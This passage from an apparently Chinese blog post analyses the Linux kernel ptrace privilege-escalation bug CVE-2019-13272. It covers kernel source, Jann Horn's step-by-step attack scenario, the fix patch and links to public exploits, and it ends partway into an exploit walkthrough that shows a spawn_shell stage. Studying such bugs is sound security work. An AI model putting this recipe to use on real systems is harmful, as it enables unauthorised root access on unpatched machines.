class="keyword">new</span>->cap_permitted,</span><br><span class="line"> <span class="number">855</span> old->cap_permitted);</span><br><span class="line"> <span class="number">856</span> }</span><br><span class="line"> <span class="number">857</span> </span><br><span class="line"> <span class="number">858</span> <span class="keyword">new</span>->suid = <span class="keyword">new</span>->fsuid = <span class="keyword">new</span>->euid;</span><br><span class="line"> <span class="number">859</span> <span class="keyword">new</span>->sgid = <span class="keyword">new</span>->fsgid = <span class="keyword">new</span>->egid;</span><br><span class="line"> ===================== skip ======================</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如上</p><ul><li>行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道,如果执行的文件是 setuid bit 的, euid 就会不一致)<pre><code>所以这里等同于检测执行的可执行程序是不是 setid 程序</code></pre></li><li>行 847, 检测本进程是否是 tracee </li></ul><p>如果两个条件同时满足,需要执行 ptracer_capable 函数进行权限检测,假设检测不通过, 会执行 downgrade 降权</p><ul><li>行 851, 将 new->euid 的值重新变成 new->uid, 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">499</span> <span class="function"><span class="keyword">bool</span> <span class="title">ptracer_capable</span><span class="params">(struct task_struct *tsk, struct user_namespace *ns)</span></span></span><br><span class="line"><span class="function">500 </span>{</span><br><span class="line"><span class="number">501</span> <span class="keyword">int</span> ret = <span class="number">0</span>; <span class="comment">/* An absent tracer adds no restrictions */</span></span><br><span class="line"><span class="number">502</span> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> *<span class="title">cred</span>;</span></span><br><span class="line"><span class="number">503</span> rcu_read_lock();</span><br><span class="line"><span class="number">504</span> cred = rcu_dereference(tsk->ptracer_cred); <span class="comment">// <----- 取出 ptrace_link 时保存的 ptracer_cred </span></span><br><span class="line"><span class="number">505</span> <span class="keyword">if</span> (cred)</span><br><span class="line"><span class="number">506</span> ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); <span class="comment">// <-------- 进入 lsm 框架进行安全检测</span></span><br><span class="line"><span class="number">507</span> rcu_read_unlock();</span><br><span class="line"><span class="number">508</span> <span class="keyword">return</span> (ret == <span class="number">0</span>);</span><br><span class="line"><span class="number">509</span> }</span><br></pre></td></tr></table></figure><p>如上, </p><ul><li>行 504, 取出 ‘tsk->ptracer_cred’ </li><li>行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测</li></ul><p>到了这里, 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了, 如前所述,这个变量是建立 trace 关系时, tracee 保存的 tracer 的 cred</p><p>当 tracee 随后执行 execve 去执行 suid 可执行程序时,就会调用 ptracer_capable 这个函数, 通过 lsm 里的安全框架去判断 ‘ptracer_cred’ 的权限</p><p>lsm 框架里的 capable hook 检测我们这里不分析了, 简单来说, 如果 tracer 本身是 root 权限, 则这里的检测会通过, 如果不是, 就会返回失败</p><p>根据前面的分析,如果 ptracer_capable 检测失败, new->euid 的权限会被降回去</p><p>举个例子, A ptrace B , B execve 执行 ‘/usr/bin/passwd’, 根据上面代码的分析, 如果 A 是 root 权限, 则 B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">kernel/ptrace.c <<ptrace_traceme>></span><br><span class="line"> ptrace_link(current, current->real_parent); </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">ptrace_link</span><span class="params">(struct task_struct *child, struct task_struct *new_parent)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> rcu_read_lock();</span><br><span class="line"> __ptrace_link(child, new_parent, __task_cred(new_parent));</span><br><span class="line"> rcu_read_unlock();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢? 明明这时候 parent 就是 tracer 啊?</p><p>我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">- 1, task A: fork()s a child, task B</span><br><span class="line">- 2, task B: fork()s a child, task C</span><br><span class="line">- 3, task B: execve(/some/special/suid/binary)</span><br><span class="line">- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)</span><br><span class="line">- 5, task C: execve(/usr/bin/passwd)</span><br><span class="line">- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))</span><br><span class="line">- 7, task B: become dumpable again (e.g. execve(/some/other/binary))</span><br><span class="line">- 8, task A: PTRACE_ATTACH to task B</span><br><span class="line">- 9, task A: use ptrace to take control of task B</span><br><span class="line">- 10, task B: use ptrace to take control of task C</span><br></pre></td></tr></table></figure><p>如上场景有 3 个进程 A, B, C</p><ul><li>第 4 步, task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时, 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0 </li><li>第 5 步, task C 随后执行 execve(suid binary), 根据我们上面的分析,由于 C 的 ptracer_cred 是特权的, 所以 ptracer_capable 函数检测通过,所以执行完 execve 后, task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的</li><li>第 6 步, task B 执行 setresuid 将自己降权, 这个降权的目的是为了能让 task A attach</li><li>第 8 步, task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作</li><li>第 9 步, task B 控制 task C 执行提权操作</li></ul><p>前面 8 步,依据之前的代码分析都是成立的,那么第 9 步能不能成立呢?</p><p>执行第 9 步时, task B 本身是普通权限, task C 的 euid 是 root 权限, B 和 C 的 trace link 有效, 这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作,包括提权操作? </p><p>下面我们结合代码分析这个问题</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="number">1111</span> SYSCALL_DEFINE4(ptrace, <span class="keyword">long</span>, request, <span class="keyword">long</span>, pid, <span class="keyword">unsigned</span> <span class="keyword">long</span>, addr,</span><br><span class="line"><span class="number">1112</span> <span class="keyword">unsigned</span> <span class="keyword">long</span>, data)</span><br><span class="line"><span class="number">1113</span> {</span><br><span class="line"><span class="number">1114</span> <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> *<span class="title">child</span>;</span></span><br><span class="line"><span class="number">1115</span> <span class="keyword">long</span> ret;</span><br><span class="line"><span class="number">1116</span> </span><br><span class="line"><span class="number">1117</span> <span class="keyword">if</span> (request == PTRACE_TRACEME) {</span><br><span class="line"><span class="number">1118</span> ret = ptrace_traceme(); <span class="comment">// <----- 进入 traceme 分支</span></span><br><span class="line"><span class="number">1119</span> <span class="keyword">if</span> (!ret)</span><br><span class="line"><span class="number">1120</span> arch_ptrace_attach(current);</span><br><span class="line"><span class="number">1121</span> <span class="keyword">goto</span> out;</span><br><span class="line"><span class="number">1122</span> }</span><br><span class="line"><span class="number">1123</span> </span><br><span class="line"><span class="number">1124</span> child = find_get_task_by_vpid(pid);</span><br><span class="line"><span class="number">1125</span> <span class="keyword">if</span> (!child) {</span><br><span class="line"><span class="number">1126</span> ret = -ESRCH;</span><br><span class="line"><span class="number">1127</span> <span class="keyword">goto</span> out;</span><br><span class="line"><span class="number">1128</span> }</span><br><span class="line"><span class="number">1129</span> </span><br><span class="line"><span class="number">1130</span> <span class="keyword">if</span> (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {</span><br><span class="line"><span class="number">1131</span> ret = ptrace_attach(child, request, addr, data); <span class="comment">// <------ 进入 attach 分支</span></span><br><span class="line"><span class="number">1132</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">1133 * Some architectures need to do book-keeping after</span></span><br><span class="line"><span class="comment">1134 * a ptrace attach.</span></span><br><span class="line"><span class="comment">1135 */</span></span><br><span class="line"><span class="number">1136</span> <span class="keyword">if</span> (!ret)</span><br><span class="line"><span class="number">1137</span> arch_ptrace_attach(child);</span><br><span class="line"><span class="number">1138</span> <span class="keyword">goto</span> out_put_task_struct;</span><br><span class="line"><span class="number">1139</span> }</span><br><span class="line"><span class="number">1140</span> </span><br><span class="line"><span class="number">1141</span> ret = ptrace_check_attach(child, request == PTRACE_KILL ||</span><br><span class="line"><span class="number">1142</span> request == PTRACE_INTERRUPT);</span><br><span class="line"><span class="number">1143</span> <span class="keyword">if</span> (ret < <span class="number">0</span>)</span><br><span class="line"><span class="number">1144</span> <span class="keyword">goto</span> out_put_task_struct;</span><br><span class="line"><span class="number">1145</span> </span><br><span class="line"><span class="number">1146</span> ret = arch_ptrace(child, request, addr, data); <span class="comment">// <---- 其他 ptrace request </span></span><br><span class="line"><span class="number">1147</span> <span class="keyword">if</span> (ret || request != PTRACE_DETACH)</span><br><span class="line"><span class="number">1148</span> ptrace_unfreeze_traced(child);</span><br><span class="line"><span class="number">1149</span> </span><br><span class="line"><span class="number">1150</span> out_put_task_struct:</span><br><span class="line"><span class="number">1151</span> put_task_struct(child);</span><br><span class="line"><span class="number">1152</span> out:</span><br><span class="line"><span class="number">1153</span> <span class="keyword">return</span> ret;</span><br><span class="line"><span class="number">1154</span> }</span><br></pre></td></tr></table></figure><p>如上, 由于 task B 和 task C 此时已经存在 trace link, 所以通过 B 向 C 可以直接发送 ptrace request, 将进入函数 arch_ptrace</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">arch/x86/kernel/ptrace.c</span><br><span class="line"></span><br><span class="line">arch_ptrace </span><br><span class="line">-> ptrace_request </span><br><span class="line">-> generic_ptrace_peekdata</span><br><span class="line"> generic_ptrace_pokedata </span><br><span class="line">-> ptrace_access_vm </span><br><span class="line">-> ptracer_capable </span><br><span class="line"></span><br><span class="line"> kernel/ptrace.c</span><br><span class="line"> <span class="number">884</span> <span class="function"><span class="keyword">int</span> <span class="title">ptrace_request</span><span class="params">(struct task_struct *child, <span class="keyword">long</span> request,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="number">885</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> addr, <span class="keyword">unsigned</span> <span class="keyword">long</span> data)</span></span></span><br><span class="line"><span class="function"> 886 </span>{</span><br><span class="line"> <span class="number">887</span> <span class="keyword">bool</span> seized = child->ptrace & PT_SEIZED;</span><br><span class="line"> <span class="number">888</span> <span class="keyword">int</span> ret = -EIO;</span><br><span class="line"> <span class="number">889</span> <span class="keyword">siginfo_t</span> siginfo, *si;</span><br><span class="line"> <span class="number">890</span> <span class="keyword">void</span> __user *datavp = (<span class="keyword">void</span> __user *) data;</span><br><span class="line"> <span class="number">891</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> __user *datalp = datavp;</span><br><span class="line"> <span class="number">892</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> flags;</span><br><span class="line"> <span class="number">893</span> </span><br><span class="line"> <span class="number">894</span> <span class="keyword">switch</span> (request) {</span><br><span class="line"> <span class="number">895</span> <span class="keyword">case</span> PTRACE_PEEKTEXT:</span><br><span class="line"> <span class="number">896</span> <span class="keyword">case</span> PTRACE_PEEKDATA:</span><br><span class="line"> <span class="number">897</span> <span class="keyword">return</span> generic_ptrace_peekdata(child, addr, data);</span><br><span class="line"> <span class="number">898</span> <span class="keyword">case</span> PTRACE_POKETEXT:</span><br><span class="line"> <span class="number">899</span> <span class="keyword">case</span> PTRACE_POKEDATA:</span><br><span class="line"> <span class="number">900</span> <span class="keyword">return</span> generic_ptrace_pokedata(child, addr, data);</span><br><span class="line"> <span class="number">901</span> </span><br><span class="line"> =================== skip ================</span><br><span class="line"> <span class="number">1105</span> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="number">1156</span> <span class="keyword">int</span> generic_ptrace_peekdata(struct task_struct *tsk, <span class="keyword">unsigned</span> <span class="keyword">long</span> addr,</span><br><span class="line"> <span class="number">1157</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> data)</span><br><span class="line"> <span class="number">1158</span> {</span><br><span class="line"> <span class="number">1159</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> tmp;</span><br><span class="line"> <span class="number">1160</span> <span class="keyword">int</span> copied;</span><br><span class="line"> <span class="number">1161</span> </span><br><span class="line"> <span class="number">1162</span> copied = ptrace_access_vm(tsk, addr, &tmp, <span class="keyword">sizeof</span>(tmp), FOLL_FORCE); <span class="comment">// <--- 调用 ptrace_access_vm</span></span><br><span class="line"> <span class="number">1163</span> <span class="keyword">if</span> (copied != <span class="keyword">sizeof</span>(tmp))</span><br><span class="line"> <span class="number">1164</span> <span class="keyword">return</span> -EIO;</span><br><span class="line"> <span class="number">1165</span> <span class="keyword">return</span> put_user(tmp, (<span class="keyword">unsigned</span> <span class="keyword">long</span> __user *)data);</span><br><span class="line"> <span class="number">1166</span> }</span><br><span class="line"> <span class="number">1167</span> </span><br><span class="line"> <span class="number">1168</span> <span class="function"><span class="keyword">int</span> <span class="title">generic_ptrace_pokedata</span><span class="params">(struct task_struct *tsk, <span class="keyword">unsigned</span> <span class="keyword">long</span> addr,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="number">1169</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> data)</span></span></span><br><span class="line"><span class="function"> 1170 </span>{</span><br><span class="line"> <span class="number">1171</span> <span class="keyword">int</span> copied;</span><br><span class="line"> <span class="number">1172</span> </span><br><span class="line"> <span class="number">1173</span> copied = ptrace_access_vm(tsk, addr, &data, <span class="keyword">sizeof</span>(data), <span class="comment">// <---- 调用 ptrace_access_vm</span></span><br><span class="line"> <span class="number">1174</span> FOLL_FORCE | FOLL_WRITE);</span><br><span class="line"> <span class="number">1175</span> <span class="keyword">return</span> (copied == <span class="keyword">sizeof</span>(data)) ? <span class="number">0</span> : -EIO;</span><br><span class="line"> <span class="number">1176</span> }</span><br></pre></td></tr></table></figure><p>如上,当 tracer 想要控制 tracee 执行新的代码逻辑时,需要发送 request 读写 tracee 的代码区和内存区, 对应的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA </p><p>这几种读写操作最终都是通过函数 ptrace_access_vm 实现的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">kernel/ptrace.c</span><br><span class="line"><span class="number">38</span> <span class="function"><span class="keyword">int</span> <span class="title">ptrace_access_vm</span><span class="params">(struct task_struct *tsk, <span class="keyword">unsigned</span> <span class="keyword">long</span> addr,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">39</span> <span class="keyword">void</span> *buf, <span class="keyword">int</span> len, <span class="keyword">unsigned</span> <span class="keyword">int</span> gup_flags)</span></span></span><br><span class="line"><span class="function">40 </span>{</span><br><span class="line"><span class="number">41</span> <span class="class"><span class="keyword">struct</span> <span class="title">mm_struct</span> *<span class="title">mm</span>;</span></span><br><span class="line"><span class="number">42</span> <span class="keyword">int</span> ret;</span><br><span class="line"><span class="number">43</span> </span><br><span class="line"><span class="number">44</span> mm = get_task_mm(tsk);</span><br><span class="line"><span class="number">45</span> <span class="keyword">if</span> (!mm)</span><br><span class="line"><span class="number">46</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">47</span> </span><br><span class="line"><span class="number">48</span> <span class="keyword">if</span> (!tsk->ptrace ||</span><br><span class="line"><span class="number">49</span> (current != tsk->parent) ||</span><br><span class="line"><span class="number">50</span> ((get_dumpable(mm) != SUID_DUMP_USER) &&</span><br><span class="line"><span class="number">51</span> !ptracer_capable(tsk, mm->user_ns))) { <span class="comment">// < ----- 又是调用 ptracer_capable 函数</span></span><br><span class="line"><span class="number">52</span> mmput(mm);</span><br><span class="line"><span class="number">53</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">54</span> }</span><br><span class="line"><span class="number">55</span> </span><br><span class="line"><span class="number">56</span> ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);</span><br><span class="line"><span class="number">57</span> mmput(mm);</span><br><span class="line"><span class="number">58</span> </span><br><span class="line"><span class="number">59</span> <span class="keyword">return</span> ret;</span><br><span class="line"><span class="number">60</span> }</span><br><span class="line"></span><br><span class="line">kernel/capability.c</span><br><span class="line"><span class="number">499</span> <span class="function"><span class="keyword">bool</span> <span class="title">ptracer_capable</span><span class="params">(struct task_struct *tsk, struct user_namespace *ns)</span></span></span><br><span class="line"><span class="function">500 </span>{</span><br><span class="line"><span class="number">501</span> <span class="keyword">int</span> ret = <span class="number">0</span>; <span class="comment">/* An absent tracer adds no restrictions */</span></span><br><span class="line"><span class="number">502</span> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> *<span class="title">cred</span>;</span></span><br><span class="line"><span class="number">503</span> rcu_read_lock();</span><br><span class="line"><span class="number">504</span> cred = rcu_dereference(tsk->ptracer_cred);</span><br><span class="line"><span class="number">505</span> <span class="keyword">if</span> (cred)</span><br><span class="line"><span class="number">506</span> ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);</span><br><span class="line"><span class="number">507</span> rcu_read_unlock();</span><br><span class="line"><span class="number">508</span> <span class="keyword">return</span> (ret == <span class="number">0</span>);</span><br><span class="line"><span class="number">509</span> }</span><br></pre></td></tr></table></figure><p>如上, ptrace_access_vm 函数会调用我们之前分析到的 ‘ptracer_capable’ 来决定这个 request 是否可以进行, 这是 ‘ptracer_capable’ 函数的第二种使用场景</p><p>根据之前我们分析的结果, task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过, 也就是说我们回答了刚刚的问题, 这种情况下,普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C 的内存区和代码区的</p><p>至此,task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用</p><ul><li>1,可以让 task C 执行 execve(suid binary) 给自己提权</li><li>2,可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区,从而控制 task C 执行任意操作</li></ul><p>上面 2 点合起来,不就是完整的提权操作吗?</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>我们仔细回顾上述代码分析过程, 才终于明白补丁描述写的这段话</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">PTRACE_TRACEME records the parent<span class="string">'s credentials as if the parent was </span></span><br><span class="line"><span class="string">acting as the subject, but that'</span>s not the <span class="keyword">case</span>. If a malicious</span><br><span class="line">unprivileged child uses PTRACE_TRACEME and the parent is privileged, and</span><br><span class="line">at a later point, the parent process becomes attacker-controlled</span><br><span class="line">(because it drops privileges and calls execve()), the attacker ends up</span><br><span class="line">with control over two processes with a privileged ptrace relationship,</span><br><span class="line"><span class="built_in">which</span> can be abused to ptrace a suid binary and obtain root privileges.</span><br></pre></td></tr></table></figure><p>本质上这个漏洞有点像 <a href="https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use" target="_blank" rel="noopener">TOCTOU</a> 类漏洞, ptracer_cred 的获取是在 traceme 阶段, 而 ptracer_cred 的应用是在随后的各种 request 阶段, 而在随后的 ptrace request 的时候, tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/kernel/ptrace.c b/kernel/ptrace.c</span><br><span class="line">index <span class="number">8456b</span>6e.<span class="number">.705887</span>f <span class="number">100644</span></span><br><span class="line">--- a/kernel/ptrace.c</span><br><span class="line">+++ b/kernel/ptrace.c</span><br><span class="line">@@ <span class="number">-79</span>,<span class="number">9</span> +<span class="number">79</span>,<span class="number">7</span> @@ <span class="keyword">void</span> __ptrace_link(struct task_struct *child, struct task_struct *new_parent,</span><br><span class="line"> */</span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">void</span> ptrace_link(struct task_struct *child, struct task_struct *new_parent)</span><br><span class="line"> {</span><br><span class="line">-rcu_read_lock();</span><br><span class="line">-__ptrace_link(child, new_parent, __task_cred(new_parent));</span><br><span class="line">-rcu_read_unlock();</span><br><span class="line">+__ptrace_link(child, new_parent, current_cred());</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>我们再次看看 jann horn 的补丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’ </p><p>补丁的意思是说在 PTRACE_TRACEME 这种场景下, ptracer_cred 记录的不应该是父进程的 cred, 而应该是自己的 cred</p><p>所以我觉得从这个变量的用途来说,它其实记录的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred</p><p>我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH 建立时, 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时, 它等于 tracee 的 cred, 它实际上记录的是 trace 关系建立者的权限 !</p><h2 id="exploit"><a href="#exploit" class="headerlink" title="exploit"></a>exploit</h2><p>本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:</p><ul><li>1, 必须是能被普通权限用户调用</li><li>2, 执行时必须有提权到root的阶段</li><li>3, 执行提权后必须执行降权</li></ul><p>(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace attach)</p><p>这里我列出 3 份 exploit 代码:</p><ul><li>1 <a href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217" target="_blank" rel="noopener">jann horn 的 exploit</a> </li><li>2 <a href="https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c" target="_blank" rel="noopener">bcoles 的 exploit</a> </li><li>3 <a href="https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272" target="_blank" rel="noopener">jiayy 的 exploit</a></li></ul><p><a href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217" target="_blank" rel="noopener">jann horn 的 exploit</a> 里使用桌面发行版自带的 <a href="http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html" target="_blank" rel="noopener">pkexec</a> 程序用于启动 task B</p><p><a href="http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html" target="_blank" rel="noopener">pkexec</a> 允许特权用户以其他用户权限执行另外一个可执行程序, 用于 <a href="https://wiki.archlinux.org/index.php/Polkit" target="_blank" rel="noopener">polkit</a> 认证框架, 当使用 –user 参数时, 刚好可以让进程先提权到 root 然后再降权到指定用户,因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn 把他们成为 helper), 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证(很多通过 polkit 执行的程序都需要弹窗认证), 执行的模式如下:</p><ul><li>/usr/bin/pkexec –user nonrootuser /user/sbin/some-helper-binary</li></ul><p><a href="https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c" target="_blank" rel="noopener">bcoles 的 exploit</a> 在 jann horn 的基础上增加了寻找更多 helper binary 的代码, 因为 jann horn 的 helper 是一个写死的程序, 在很多发行版并不存在,所以他的 exploit 在很多发行版系统上无法运行, bcoles 的 exploit 可以在更多的发行版上运行成功</p><p>本人出于学习的目的,也写了一份 <a href="https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272" target="_blank" rel="noopener">jiayy 的 exploit</a>, 因为 helper binary 因不同发行版而异, pkexec 也是桌面发行版才有, 而事实上这个提权漏洞是 linux kernel 的漏洞, 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权, 而这个 fakepkexec 和 fakehelper 程序手动生成(而不是从目标系统搜索),这样一来学习者可以在任何存在本漏洞的 linux 系统(不需要桌面)运行我的 exploit 进行研究</p><h2 id="exploit-分析"><a href="#exploit-分析" class="headerlink" title="exploit 分析"></a>exploit 分析</h2><p>下面简单过一下 exploit 的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="number">167</span> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>{</span><br><span class="line"><span class="number">168</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(argv[<span class="number">0</span>], <span class="string">"stage2"</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">169</span> <span class="keyword">return</span> middle_stage2();</span><br><span class="line"><span class="number">170</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(argv[<span class="number">0</span>], <span class="string">"stage3"</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">171</span> <span class="keyword">return</span> spawn_shell();</span><br><span class="line"><span class="number">172</span> </span><br><span class="line"><span class="number">173</span> helper_path = <span class="string">"/tmp/fakehelper"</span>;</span><br><span class="line"><span class="number">174</span> </span><br><span class="line"><span class="number">175</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">176 * set up a pipe such that the next write to it will block: packet 